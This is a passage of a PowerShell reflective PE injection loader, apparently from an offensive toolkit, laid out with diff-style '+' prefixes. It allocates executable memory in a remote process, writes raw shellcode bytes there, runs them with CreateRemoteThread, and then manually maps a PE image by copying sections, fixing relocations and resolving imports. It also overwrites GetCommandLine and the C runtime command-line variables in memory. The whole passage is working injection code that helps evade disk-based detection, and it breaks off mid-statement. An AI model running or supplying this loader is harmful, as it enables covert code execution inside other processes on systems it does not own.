[System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = 